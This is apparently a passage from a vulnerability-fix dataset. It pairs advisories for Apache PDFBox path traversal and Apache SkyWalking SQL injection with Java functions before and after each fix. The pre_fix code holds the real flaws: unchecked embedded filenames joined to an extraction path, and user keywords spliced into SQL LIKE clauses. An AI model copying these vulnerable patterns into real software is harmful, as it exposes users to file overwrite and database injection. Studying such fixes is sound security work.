(PDComplexFileSpecification) fileSpec;\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(complexFileSpec.getFilename(), embeddedFile, directoryPath);\n }\n }\n }\n }\n }\n" pre_fix = " private static void extractFilesFromPage(PDPage page, String filePath) throws IOException\n {\n for (PDAnnotation annotation : page.getAnnotations())\n {\n if (annotation instanceof PDAnnotationFileAttachment)\n {\n PDAnnotationFileAttachment annotationFileAttachment = (PDAnnotationFileAttachment) annotation;\n PDFileSpecification fileSpec = annotationFileAttachment.getFile();\n if (fileSpec instanceof PDComplexFileSpecification)\n {\n PDComplexFileSpecification complexFileSpec = (PDComplexFileSpecification) fileSpec;\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(filePath, complexFileSpec.getFilename(), embeddedFile);\n }\n }\n }\n }\n }\n" repo = "apache/pdfbox" url = "https://github.com/apache/pdfbox.git" [[case]] advisory = "GHSA-jjwr-xmw6-gf78" advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" cwe = "CWE-22" family = "path" function = "main" function_lines = [[56, 83]] id = "apache-pdfbox-7d8d6513c163f5fe" language = "java" method = "fix_site" parent = "daaead9069d562e166918d461191c89773e51f90" path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" post_fix = " public static void main( String[] args ) throws IOException\n {\n if( args.length != 1 )\n {\n usage();\n System.exit(1);\n }\n\n File pdfFile = new File(args[0]);\n String directoryPath = pdfFile.getParent() + FileSystems.getDefault().getSeparator();\n try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, directoryPath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, directoryPath);\n }\n }\n }\n" pre_fix = " public static void main( String[] args ) throws IOException\n {\n if( args.length != 1 )\n {\n usage();\n System.exit(1);\n }\n\n File pdfFile = new File(args[0]);\n String filePath = pdfFile.getParent() + FileSystems.getDefault().getSeparator();\n try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, filePath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, filePath);\n }\n }\n }\n" repo = "apache/pdfbox" url = "https://github.com/apache/pdfbox.git" [[case]] advisory = "GHSA-jjwr-xmw6-gf78" advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" cwe = "CWE-22" family = "path" function = "extractFile" function_lines = [[140, 158]] id = "apache-pdfbox-d700dd5c8843f12c" language = "java" method = "fix_site" parent = "daaead9069d562e166918d461191c89773e51f90" path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" post_fix = " private static void extractFile(String filename, PDEmbeddedFile embeddedFile, String directoryPath)\n throws IOException\n {\n String embeddedFilename = directoryPath + filename;\n File file = new File(embeddedFilename);\n File parentDir = file.getParentFile();\n if (!parentDir.exists())\n {\n // sometimes paths contain a directory\n System.out.println(\"Creating \" + parentDir);\n parentDir.mkdirs();\n }\n System.out.println(\"Writing \" + embeddedFilename);\n try (FileOutputStream fos = new FileOutputStream(file))\n {\n fos.write(embeddedFile.toByteArray());\n }\n }\n " pre_fix = " private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)\n throws IOException\n {\n String embeddedFilename = filePath + filename;\n File file = new File(embeddedFilename);\n File parentDir = file.getParentFile();\n if (!parentDir.exists())\n {\n // sometimes paths contain a directory\n System.out.println(\"Creating \" + parentDir);\n parentDir.mkdirs();\n }\n System.out.println(\"Writing \" + embeddedFilename);\n try (FileOutputStream fos = new FileOutputStream(file))\n {\n fos.write(embeddedFile.toByteArray());\n }\n }\n " repo = "apache/pdfbox" url = "https://github.com/apache/pdfbox.git" [[case]] advisory = "GHSA-jjwr-xmw6-gf78" advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" cwe = "CWE-22" family = "path" function = "extractFilesFromEFTree" function_lines = [[105, 125]] id = "apache-pdfbox-f03695e9a3bbfb76" language = "java" method = "fix_site" parent = "daaead9069d562e166918d461191c89773e51f90" path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" post_fix = " private static void extractFilesFromEFTree(PDNameTreeNode efTree, String directoryPath) throws IOException\n {\n Map names = efTree.getNames();\n if (names != null)\n {\n extractFiles(names, directoryPath);\n }\n else\n {\n List> kids = efTree.getKids();\n if (kids == null)\n {\n return;\n }\n for (PDNameTreeNode node : kids)\n {\n extractFilesFromEFTree(node, directoryPath);\n }\n }\n }\n" pre_fix = " private static void extractFilesFromEFTree(PDNameTreeNode efTree, String filePath) throws IOException\n {\n Map names = efTree.getNames();\n if (names != null)\n {\n extractFiles(names, filePath);\n }\n else\n {\n List> kids = efTree.getKids();\n if (kids == null)\n {\n return;\n }\n for (PDNameTreeNode node : kids)\n {\n extractFilesFromEFTree(node, filePath);\n }\n }\n }\n" repo = "apache/pdfbox" url = "https://github.com/apache/pdfbox.git" [[case]] advisory = "GHSA-grpf-gg7v-5g5h" advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" cwe = "CWE-89" family = "injection" function = "getAlarm" function_lines = [[46, 97]] id = "apache-skywalking-2290116e5febf3c6" language = "java" method = "fix_site" parent = "cc9ea271a720e8def161a583595f75da9bda77a5" path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/mysql/MySQLAlarmQueryDAO.java" post_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n sql.append(\"from \").append(AlarmRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (Objects.nonNull(scopeId)) {\n sql.append(\" and \").append(AlarmRecord.SCOPE).append(\" = ?\");\n parameters.add(scopeId.intValue());\n }\n if (startTB != 0 && endTB != 0) {\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startTB);\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endTB);\n }\n\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(AlarmRecord.ALARM_MESSAGE).append(\" like concat('%',?,'%') \");\n parameters.add(keyword);\n }\n sql.append(\" order by \").append(AlarmRecord.START_TIME).append(\" desc \");\n\n Alarms alarms = new Alarms();\n try (Connection connection = client.getConnection()) {\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select count(1) total \" + sql.toString(), parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n alarms.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n this.buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n AlarmMessage message = new AlarmMessage();\n message.setId(resultSet.getString(AlarmRecord.ID0));\n message.setMessage(resultSet.getString(AlarmRecord.ALARM_MESSAGE));\n message.setStartTime(resultSet.getLong(AlarmRecord.START_TIME));\n message.setScope(Scope.Finder.valueOf(resultSet.getInt(AlarmRecord.SCOPE)));\n message.setScopeId(resultSet.getInt(AlarmRecord.SCOPE));\n\n alarms.getMsgs().add(message);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return alarms;\n }" pre_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n sql.append(\"from \").append(AlarmRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (Objects.nonNull(scopeId)) {\n sql.append(\" and \").append(AlarmRecord.SCOPE).append(\" = ?\");\n parameters.add(scopeId.intValue());\n }\n if (startTB != 0 && endTB != 0) {\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startTB);\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endTB);\n }\n\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(AlarmRecord.ALARM_MESSAGE).append(\" like '%\").append(keyword).append(\"%' \");\n }\n sql.append(\" order by \").append(AlarmRecord.START_TIME).append(\" desc \");\n\n Alarms alarms = new Alarms();\n try (Connection connection = client.getConnection()) {\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select count(1) total \" + sql.toString(), parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n alarms.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n this.buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n AlarmMessage message = new AlarmMessage();\n message.setId(resultSet.getString(AlarmRecord.ID0));\n message.setMessage(resultSet.getString(AlarmRecord.ALARM_MESSAGE));\n message.setStartTime(resultSet.getLong(AlarmRecord.START_TIME));\n message.setScope(Scope.Finder.valueOf(resultSet.getInt(AlarmRecord.SCOPE)));\n message.setScopeId(resultSet.getInt(AlarmRecord.SCOPE));\n\n alarms.getMsgs().add(message);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return alarms;\n }" repo = "apache/skywalking" url = "https://github.com/apache/skywalking.git" [[case]] advisory = "GHSA-grpf-gg7v-5g5h" advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" cwe = "CWE-89" family = "injection" function = "queryBasicTraces" function_lines = [[50, 152]] id = "apache-skywalking-5eb8d566abf7ce37" language = "java" method = "fix_site" parent = "cc9ea271a720e8def161a583595f75da9bda77a5" path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TraceQueryDAO.java" post_fix = " public TraceBrief queryBasicTraces(long startSecondTB,\n long endSecondTB,\n long minDuration,\n long maxDuration,\n String endpointName,\n String serviceId,\n String serviceInstanceId,\n String endpointId,\n String traceId,\n int limit,\n int from,\n TraceState traceState,\n QueryOrder queryOrder) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n\n sql.append(\"from \").append(SegmentRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (startSecondTB != 0 && endSecondTB != 0) {\n sql.append(\" and \").append(SegmentRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startSecondTB);\n sql.append(\" and \").append(SegmentRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endSecondTB);\n }\n if (minDuration != 0 || maxDuration != 0) {\n if (minDuration != 0) {\n sql.append(\" and \").append(SegmentRecord.LATENCY).append(\" >= ?\");\n parameters.add(minDuration);\n }\n if (maxDuration != 0) {\n sql.append(\" and \").append(SegmentRecord.LATENCY).append(\" <= ?\");\n parameters.add(maxDuration);\n }\n }\n if (!Strings.isNullOrEmpty(endpointName)) {\n sql.append(\" and \").append(SegmentRecord.ENDPOINT_NAME).append(\" like concat('%',?,'%')\");\n parameters.add(endpointName);\n }\n if (StringUtil.isNotEmpty(serviceId)) {\n sql.append(\" and \").append(SegmentRecord.SERVICE_ID).append(\" = ?\");\n parameters.add(serviceId);\n }\n if (StringUtil.isNotEmpty(serviceInstanceId)) {\n sql.append(\" and \").append(SegmentRecord.SERVICE_INSTANCE_ID).append(\" = ?\");\n parameters.add(serviceInstanceId);\n }\n if (!Strings.isNullOrEmpty(endpointId)) {\n sql.append(\" and \").append(SegmentRecord.ENDPOINT_ID).append(\" = ?\");\n parameters.add(endpointId);\n }\n if (!Strings.isNullOrEmpty(traceId)) {\n sql.append(\" and \").append(SegmentRecord.TRACE_ID).append(\" = ?\");\n parameters.add(traceId);\n }\n switch (traceState) {\n case ERROR:\n sql.append(\" and \").append(SegmentRecord.IS_ERROR).append(\" = \").append(BooleanUtils.TRUE);\n break;\n case SUCCESS:\n sql.append(\" and \").append(SegmentRecord.IS_ERROR).append(\" = \").append(BooleanUtils.FALSE);\n break;\n }\n switch (queryOrder) {\n case BY_START_TIME:\n sql.append(\" order by \").append(SegmentRecord.START_TIME).append(\" \").append(SortOrder.DESC);\n break;\n case BY_DURATION:\n sql.append(\" order by \").append(SegmentRecord.LATENCY).append(\" \").append(SortOrder.DESC);\n break;\n }\n\n TraceBrief traceBrief = new TraceBrief();\n try (Connection connection = h2Client.getConnection()) {\n\n try (ResultSet resultSet = h2Client.executeQuery(connection, buildCountStatement(sql.toString()), parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n traceBrief.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n BasicTrace basicTrace = new BasicTrace();\n\n basicTrace.setSegmentId(resultSet.getString(SegmentRecord.SEGMENT_ID));\n basicTrace.setStart(resultSet.getString(SegmentRecord.START_TIME));\n basicTrace.getEndpointNames().add(resultSet.getString(SegmentRecord.ENDPOINT_NAME));\n basicTrace.setDuration(resultSet.getInt(SegmentRecord.LATENCY));\n basicTrace.setError(BooleanUtils.valueToBoolean(resultSet.getInt(SegmentRecord.IS_ERROR)));\n String traceIds = resultSet.getString(SegmentRecord.TRACE_ID);\n basicTrace.getTraceIds().add(traceIds);\n traceBrief.getTraces().add(basicTrace);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return traceBrief;\n }" pre_fix = " public TraceBrief queryBasicTraces(long startSecondTB,\n long endSecondTB,\n long minDuration,\n long maxDuration,\n String endpointName,\n String serviceId,\n String serviceInstanceId,\n String endpointId,\n String traceId,\n int limit,\n int from,\n TraceState traceState,\n QueryOrder queryOrder) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n\n sql.append(\"from \").append(SegmentRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (startSecondTB != 0 && endSecondTB != 0) {\n sql.append(\" and \").append(SegmentRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startSecondTB);\n sql.append(\" and \").append(SegmentRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endSecondTB);\n }\n if (minDuration != 0 || maxDuration != 0) {\n if (minDuration != 0) {\n sql.append(\" and \").append(SegmentRecord.LATENCY).append(\" >= ?\");\n parameters.add(minDuration);\n }\n if (maxDuration != 0) {\n sql.append(\" and \").append(SegmentRecord.LATENCY).append(\" <= ?\");\n parameters.add(maxDuration);\n }\n }\n if (!Strings.isNullOrEmpty(endpointName)) {\n sql.append(\" and \").append(SegmentRecord.ENDPOINT_NAME).append(\" like '%\" + endpointName + \"%'\");\n }\n if (StringUtil.isNotEmpty(serviceId)) {\n sql.append(\" and \").append(SegmentRecord.SERVICE_ID).append(\" = ?\");\n parameters.add(serviceId);\n }\n if (StringUtil.isNotEmpty(serviceInstanceId)) {\n sql.append(\" and \").append(SegmentRecord.SERVICE_INSTANCE_ID).append(\" = ?\");\n parameters.add(serviceInstanceId);\n }\n if (!Strings.isNullOrEmpty(endpointId)) {\n sql.append(\" and \").append(SegmentRecord.ENDPOINT_ID).append(\" = ?\");\n parameters.add(endpointId);\n }\n if (!Strings.isNullOrEmpty(traceId)) {\n sql.append(\" and \").append(SegmentRecord.TRACE_ID).append(\" = ?\");\n parameters.add(traceId);\n }\n switch (traceState) {\n case ERROR:\n sql.append(\" and \").append(SegmentRecord.IS_ERROR).append(\" = \").append(BooleanUtils.TRUE);\n break;\n case SUCCESS:\n sql.append(\" and \").append(SegmentRecord.IS_ERROR).append(\" = \").append(BooleanUtils.FALSE);\n break;\n }\n switch (queryOrder) {\n case BY_START_TIME:\n sql.append(\" order by \").append(SegmentRecord.START_TIME).append(\" \").append(SortOrder.DESC);\n break;\n case BY_DURATION:\n sql.append(\" order by \").append(SegmentRecord.LATENCY).append(\" \").append(SortOrder.DESC);\n break;\n }\n\n TraceBrief traceBrief = new TraceBrief();\n try (Connection connection = h2Client.getConnection()) {\n\n try (ResultSet resultSet = h2Client.executeQuery(connection, buildCountStatement(sql.toString()), parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n traceBrief.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n BasicTrace basicTrace = new BasicTrace();\n\n basicTrace.setSegmentId(resultSet.getString(SegmentRecord.SEGMENT_ID));\n basicTrace.setStart(resultSet.getString(SegmentRecord.START_TIME));\n basicTrace.getEndpointNames().add(resultSet.getString(SegmentRecord.ENDPOINT_NAME));\n basicTrace.setDuration(resultSet.getInt(SegmentRecord.LATENCY));\n basicTrace.setError(BooleanUtils.valueToBoolean(resultSet.getInt(SegmentRecord.IS_ERROR)));\n String traceIds = resultSet.getString(SegmentRecord.TRACE_ID);\n basicTrace.getTraceIds().add(traceIds);\n traceBrief.getTraces().add(basicTrace);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return traceBrief;\n }" repo = "apache/skywalking" url = "https://github.com/apache/skywalking.git" [[case]] advisory = "GHSA-grpf-gg7v-5g5h" advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" cwe = "CWE-89" family = "injection" function = "searchEndpoint" function_lines = [[171, 249]] id = "apache-skywalking-80e3e3e53c0f37a0" language = "java" method = "fix_site" parent = "cc9ea271a720e8def161a583595f75da9bda77a5" path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetadataQueryDAO.java" post_fix = " public List searchEndpoint(String keyword, String serviceId, int limit) throws IOException {\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(EndpointTraffic.INDEX_NAME).append(\" where \");\n sql.append(EndpointTraffic.SERVICE_ID).append(\"=?\");\n condition.add(serviceId);\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(EndpointTraffic.NAME).append(\" like concat('%',?,'%') \");\n condition.add(keyword);\n }\n sql.append(\" limit \").append(limit);\n\n List endpoints = new ArrayList<>();\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n\n while (resultSet.next()) {\n Endpoint endpoint = new Endpoint();\n endpoint.setId(resultSet.getString(H2TableInstaller.ID_COLUMN));\n endpoint.setName(resultSet.getString(EndpointTraffic.NAME));\n endpoints.add(endpoint);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n return endpoints;\n }\n\n @Override\n public List getServiceInstances(long startTimestamp, long endTimestamp,\n String serviceId) throws IOException {\n final long minuteTimeBucket = TimeBucket.getMinuteTimeBucket(startTimestamp);\n\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(InstanceTraffic.INDEX_NAME).append(\" where \");\n sql.append(InstanceTraffic.LAST_PING_TIME_BUCKET).append(\" >= ?\");\n condition.add(minuteTimeBucket);\n sql.append(\" and \").append(InstanceTraffic.SERVICE_ID).append(\"=?\");\n condition.add(serviceId);\n\n List serviceInstances = new ArrayList<>();\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n\n while (resultSet.next()) {\n ServiceInstance serviceInstance = new ServiceInstance();\n serviceInstance.setId(resultSet.getString(H2TableInstaller.ID_COLUMN));\n serviceInstance.setName(resultSet.getString(InstanceTraffic.NAME));\n serviceInstance.setInstanceUUID(serviceInstance.getId());\n\n String propertiesString = resultSet.getString(InstanceTraffic.PROPERTIES);\n if (!Strings.isNullOrEmpty(propertiesString)) {\n JsonObject properties = GSON.fromJson(propertiesString, JsonObject.class);\n for (Map.Entry property : properties.entrySet()) {\n String key = property.getKey();\n String value = property.getValue().getAsString();\n if (key.equals(InstanceTraffic.PropertyUtil.LANGUAGE)) {\n serviceInstance.setLanguage(Language.value(value));\n } else {\n serviceInstance.getAttributes().add(new Attribute(key, value));\n }\n\n }\n } else {\n serviceInstance.setLanguage(Language.UNKNOWN);\n }\n\n serviceInstances.add(serviceInstance);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n return serviceInstances;\n }\n" pre_fix = " public List searchEndpoint(String keyword, String serviceId, int limit) throws IOException {\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(EndpointTraffic.INDEX_NAME).append(\" where \");\n sql.append(EndpointTraffic.SERVICE_ID).append(\"=?\");\n condition.add(serviceId);\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(EndpointTraffic.NAME).append(\" like '%\").append(keyword).append(\"%' \");\n }\n sql.append(\" limit \").append(limit);\n\n List endpoints = new ArrayList<>();\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n\n while (resultSet.next()) {\n Endpoint endpoint = new Endpoint();\n endpoint.setId(resultSet.getString(H2TableInstaller.ID_COLUMN));\n endpoint.setName(resultSet.getString(EndpointTraffic.NAME));\n endpoints.add(endpoint);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n return endpoints;\n }\n\n @Override\n public List getServiceInstances(long startTimestamp, long endTimestamp,\n String serviceId) throws IOException {\n final long minuteTimeBucket = TimeBucket.getMinuteTimeBucket(startTimestamp);\n\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(InstanceTraffic.INDEX_NAME).append(\" where \");\n sql.append(InstanceTraffic.LAST_PING_TIME_BUCKET).append(\" >= ?\");\n condition.add(minuteTimeBucket);\n sql.append(\" and \").append(InstanceTraffic.SERVICE_ID).append(\"=?\");\n condition.add(serviceId);\n\n List serviceInstances = new ArrayList<>();\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n\n while (resultSet.next()) {\n ServiceInstance serviceInstance = new ServiceInstance();\n serviceInstance.setId(resultSet.getString(H2TableInstaller.ID_COLUMN));\n serviceInstance.setName(resultSet.getString(InstanceTraffic.NAME));\n serviceInstance.setInstanceUUID(serviceInstance.getId());\n\n String propertiesString = resultSet.getString(InstanceTraffic.PROPERTIES);\n if (!Strings.isNullOrEmpty(propertiesString)) {\n JsonObject properties = GSON.fromJson(propertiesString, JsonObject.class);\n for (Map.Entry property : properties.entrySet()) {\n String key = property.getKey();\n String value = property.getValue().getAsString();\n if (key.equals(InstanceTraffic.PropertyUtil.LANGUAGE)) {\n serviceInstance.setLanguage(Language.value(value));\n } else {\n serviceInstance.getAttributes().add(new Attribute(key, value));\n }\n\n }\n } else {\n serviceInstance.setLanguage(Language.UNKNOWN);\n }\n\n serviceInstances.add(serviceInstance);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n return serviceInstances;\n }\n" repo = "apache/skywalking" url = "https://github.com/apache/skywalking.git" [[case]] advisory = "GHSA-grpf-gg7v-5g5h" advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" cwe = "CWE-89" family = "injection" function = "getAlarm" function_lines = [[46, 97]] id = "apache-skywalking-9ea0241fb2a1d2cc" language = "java" method = "fix_site" parent = "cc9ea271a720e8def161a583595f75da9bda77a5" path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java" post_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n sql.append(\"from \").append(AlarmRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (Objects.nonNull(scopeId)) {\n sql.append(\" and \").append(AlarmRecord.SCOPE).append(\" = ?\");\n parameters.add(scopeId.intValue());\n }\n if (startTB != 0 && endTB != 0) {\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startTB);\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endTB);\n }\n\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(AlarmRecord.ALARM_MESSAGE).append(\" like concat('%',?,'%') \");\n parameters.add(keyword);\n }\n sql.append(\" order by \").append(AlarmRecord.START_TIME).append(\" desc \");\n\n Alarms alarms = new Alarms();\n try (Connection connection = client.getConnection()) {\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select count(1) total from (select 1 \" + sql.toString() + \" )\", parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n alarms.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n this.buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n AlarmMessage message = new AlarmMessage();\n message.setId(resultSet.getString(AlarmRecord.ID0));\n message.setMessage(resultSet.getString(AlarmRecord.ALARM_MESSAGE));\n message.setStartTime(resultSet.getLong(AlarmRecord.START_TIME));\n message.setScope(Scope.Finder.valueOf(resultSet.getInt(AlarmRecord.SCOPE)));\n message.setScopeId(resultSet.getInt(AlarmRecord.SCOPE));\n\n alarms.getMsgs().add(message);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return alarms;\n }" pre_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n sql.append(\"from \").append(AlarmRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (Objects.nonNull(scopeId)) {\n sql.append(\" and \").append(AlarmRecord.SCOPE).append(\" = ?\");\n parameters.add(scopeId.intValue());\n }\n if (startTB != 0 && endTB != 0) {\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startTB);\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endTB);\n }\n\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(AlarmRecord.ALARM_MESSAGE).append(\" like '%\").append(keyword).append(\"%' \");\n }\n sql.append(\" order by \").append(AlarmRecord.START_TIME).append(\" desc \");\n\n Alarms alarms = new Alarms();\n try (Connection connection = client.getConnection()) {\n\n try (ResultSet resultSet 